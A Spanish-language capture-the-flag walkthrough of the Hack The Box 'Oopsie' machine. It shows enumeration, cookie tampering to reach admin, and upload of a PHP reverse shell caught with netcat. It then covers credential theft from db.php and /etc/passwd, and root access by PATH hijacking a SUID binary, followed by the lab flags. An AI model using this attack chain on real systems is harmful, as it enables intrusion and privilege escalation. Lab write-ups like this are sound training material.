Oopsie
Lo primero que voy a hacer es una enumeración, escaneando los puertos que se encuentran abiertos en la máquina.
┌──(oso㉿kali)-[~/Desktop/htb/starting-point/oopsie]
└─$ sudo nmap -sC -sV 10.129.143.218 -o nmap.tcp
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-17 12:58 EDT
Nmap scan report for 10.129.143.218
Host is up (0.10s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 61:e4:3f:d4:1e:e2:b2:f1:0d:3c:ed:36:28:36:67:c7 (RSA)
| 256 24:1d:a4:17:d4:e3:2a:9c:90:5c:30:58:8f:60:77:8d (ECDSA)
|_ 256 78:03:0e:b4:a1:af:e5:c2:f9:8d:29:05:3e:29:c9:f2 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Welcome
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.74 seconds
Voy a usar Burpsuite para realizar pruebas de penetración web junto con FoxyProxy, un servidor proxy que hace de intermediario entre nuestro pc y el sitio web. Cuando visitemos la web, nuestro servidor se ocultará detrás del proxy.
Vamos a configurar FoxyProxy, dándole la IP local 127.0.0.1 y el puerto 8080, que es el puerto por defecto en el que escucha Burp Suite.
Una vez configurado, en la extensión escogeremos el proxy burpsuite que hemos creado y dentro de Burpsuite interceptaré las peticiones.
Si le damos a Forward aceptará la petición y nos llevará a la página, si le damos a Drop rechazará la conexión.
Como podemos ver, tanto en el apartado Proxy/HTTP History dentro de Burp Suite, que son las solicitudes HTTP que se han realizado entre el cliente y el server web, como en el código fuente de la página, encontramos una ruta muy curiosa que es /cdn-cgi/login/script.js. Si quitamos el script.js e insertamos la ruta en el navegador, accederemos a un panel de un Login.
Voy a acceder como invitado. Como podemos ver tenemos varias secciones. Hay una sección que es la de “Uploads” que como usuario guest no nos deja acceder porque parece ser que necesitamos ser Admin.
Si nos vamos a la sección “Account” podemos ver un id y un nombre, que coincide con la cookie de inicio de sesión.
Ahora, probaré paŕametros en el id utilizando Burpsuite con la función “Intruder”. Para ello intercepto la petición y le doy a click derecho -> “Send to Intruder”. Una vez allí, selecciono la posición del payload y lo configuro de tipo number y que vaya del 1 al 100 probando.
Le daremos a Start Attack y nos irá probando 1 por 1 los ids que hemos configurado. Encontramos 2 id interesantes, el 1 (Admin) y el 30 (Super Admin).
Como hemos visto que el Access Id y el Name coincide con las cookies para entrar, vamos a cambiarlas.
Hemos conseguido acceso al contenido de Uploads y podemos cargar un archivo. La cosa es que no sabemos donde se guardaría este archivo.
Voy a hacer fuzzing a ver si encuentro algún directorio potencial.
┌──(oso㉿kali)-[~]
└─$ gobuster dir --url http://10.129.143.218/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php -o directorios.txt -t 10
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.129.143.218/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php (Status: 403) [Size: 279]
/images (Status: 301) [Size: 317] [--> http://10.129.143.218/images/]
/index.php (Status: 200) [Size: 10932]
Progress: 193 / 175330 (0.11%)[ERROR] Get "http://10.129.143.218/contact.php": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
/themes (Status: 301) [Size: 317] [--> http://10.129.143.218/themes/]
/uploads (Status: 301) [Size: 318] [--> http://10.129.143.218/uploads/]
/css (Status: 301) [Size: 314] [--> http://10.129.143.218/css/]
/js (Status: 301) [Size: 313] [--> http://10.129.143.218/js/]
Progress: 5097 / 175330 (2.91%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 5097 / 175330 (2.91%)
===============================================================
Finished
===============================================================
Como vemos, encontramos un directorio llamado /uploads, que tiene toda la pinta que es donde se van a guardar los archivos que subamos, aunque no tenemos acceso al recurso.
Como hemos conseguido acceso a poder subir archivos, vamos a intentar cargar una reverse shell con PHP. Voy a usar el de /usr/share/webshells/php/php-reverse-shell.php, cambiando la IP por la de la interfaz tun0 (la de la VPN) y el puerto al 443, que es el puerto universal de navegación web para el Protocolo Seguro de Transferencia de Hipertexto (aunque se puede usar cualquier otro).
Yo voy a copiar esta reverse en una carpeta aparte y alli modificaré el archivo.
┌──(oso㉿kali)-[~/…/htb/starting-point/oopsie/www]
└─$ cp /usr/share/webshells/php/php-reverse-shell.php /home/oso/Desktop/htb/starting-point/oopsie/www
Intento subir la reverse a la web y nos dice que se ha subido correctamente
Voy a configurar una conexión netcat y voy a intentar obtener la reverse entrando en tu-ip/uploads/php-reverse-shell.php. (Aparece la IP 10.129.137.240 y no la 10.129.143.218 al conectarse porque se me reseteó).
┌──(oso㉿kali)-[~/…/htb/starting-point/oopsie/www]
└─$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.169] from (UNKNOWN) [10.129.137.240] 44898
Linux oopsie 4.15.0-76-generic #86-Ubuntu SMP Fri Jan 17 17:24:28 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
18:56:38 up 3 min, 0 users, load average: 0.12, 0.17, 0.08
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
Para que se vea bien y tener una Shell funcional voy a usar lo siguiente:
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
Y ahora aparecerá así:
www-data@oopsie:/$
Toqueteando un poco, encuentro que hay un user llamado “robert”.
www-data@oopsie:/$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
robert:x:1000:1000:robert:/home/robert:/bin/bash
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false
www-data@oopsie:/$ ls /home/
ls /home/
robert
www-data@oopsie:/$
Intento probar creedenciales sin éxito, asi que sigo mirando y en /var/www/html, que es un directorio común que se utiliza para almacenar archivos relacionados con el servidor web. Dentro de él encuentro un archivo llamado db.php con las creedenciales del usuario robert.
www-data@oopsie:/var/www/html/cdn-cgi/login$ cat db.php
cat db.php
<?php
$conn = mysqli_connect('localhost','robert','M3g4C0rpUs3r!','garage');
?>
ESCALADA DE PRIVILEGIOS
Consigo entrar dentro del usuario pero veo que no tiene permisos para ejecutar sudo. También muestro la info del user y encuentro que pertence a un grupo llamado “bugtracker”.
www-data@oopsie:/var/www/html/cdn-cgi/login$ su robert
su robert
Password: M3g4C0rpUs3r!
robert@oopsie:/var/www/html/cdn-cgi/login$ cd
cd
robert@oopsie:~$ sudo -l
sudo -l
[sudo] password for robert: M3g4C0rpUs3r!
Sorry, user robert may not run sudo on oopsie.
robert@oopsie:~$ id
id
uid=1000(robert) gid=1000(robert) groups=1000(robert),1001(bugtracker)
Intento ver si hay algún binario dentro ese grupo.
robert@oopsie:~$ find / -group bugtracker 2>/dev/null
find / -group bugtracker 2>/dev/null
/usr/bin/bugtracker
Compruebo qué privilegios y qué tipo de archivo es:
robert@oopsie:~$ ls -la /usr/bin/bugtracker && file /usr/bin/bugtracker
ls -la /usr/bin/bugtracker && file /usr/bin/bugtracker
-rwsr-xr-- 1 root bugtracker 8792 Jan 25 2020 /usr/bin/bugtracker
/usr/bin/bugtracker: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=b87543421344c400a95cbbe34bbc885698b52b8d, not stripped
Hay un SUID en ese binario. SUID o también llamado Setuid son permisos de acceso que pueden asignarse a archivos o directorio en un OS basado en Unix. Se utilizan principalmente para permitrir a los usuarios del sistema ejecutar binarios con privilegios elevados temporalmente para realizar una tarea específica.
Vamos a runnear este bin a ver que hace.
robert@oopsie:~$ /usr/bin/bugtracker
/usr/bin/bugtracker
------------------
: EV Bug Tracker :
------------------
Provide Bug ID: 59
59
---------------
cat: /root/reports/59: No such file or directory
La herramienta acepta entradas del usuario como nombre del archivo que se leerá usando el comando cat; sin embargo, no apunta a la ruta absoluta el archivo cat y por lo tanto podríamos aprovechar esto. Esto es lo que se llama un PATH Hijacking.
Navegaremos al directorio /tmp y crearemos un archivo llamado cat con el siguiente conteni-do: “/bin/sh” y le daremos privilegios.
robert@oopsie:/$ cd /tmp
cd /tmp
robert@oopsie:/tmp$ echo "/bin/sh" > cat
echo "/bin/sh" > cat
robert@oopsie:/tmp$ chmod +x cat
chmod +x cat
robert@oopsie:/tmp$ ls -l
ls -l
total 4
-rwxrwxr-x 1 robert robert 8 Mar 17 19:51 cat
Para aprovechar esto, podemos agregar el directorio /tmp a la variable PATH. PATH es una variable de entorno en sistemas operativos tipo Unix, DOS, OS/2 y Microsoft Windows, especificando un conjunto de directorios donde se encuentran los programas ejecutables.
robert@oopsie:/tmp$ export PATH=/tmp:$PATH
export PATH=/tmp:$PATH
robert@oopsie:/tmp$ echo $PATH
echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
Ahora si ejecutamos el binario de nuevo consigo ser root.
robert@oopsie:/tmp$ bugtracker
bugtracker
------------------
: EV Bug Tracker :
------------------
Provide Bug ID: 59
59
---------------
# whoami
whoami
root
#
---------------------------
root@oopsie:~# pwd
pwd
/home/robert
root@oopsie:~# ls
ls
user.txt
root@oopsie:~# more user.txt
more user.txt
f2c74ee8db7983851ab2a96a44eb7981
---------------------------
root@oopsie:/# cd root
cd root
root@oopsie:/root# ls -la
ls -la
total 36
drwx------ 6 root root 4096 Oct 11 2021 .
drwxr-xr-x 24 root root 4096 Oct 11 2021 ..
lrwxrwxrwx 1 root root 9 Jan 25 2020 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Apr 9 2018 .bashrc
drwx------ 2 root root 4096 Oct 11 2021 .cache
drwx------ 3 root root 4096 Oct 11 2021 .gnupg
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
drwxr-xr-x 2 root root 4096 Jul 28 2021 reports
-rw-r--r-- 1 root root 33 Feb 25 2020 root.txt
drwx------ 2 root root 4096 Jul 28 2021 .ssh
root@oopsie:/root# more root.txt
more root.txt
af13b0bee69f8a877c3faf667f7beacf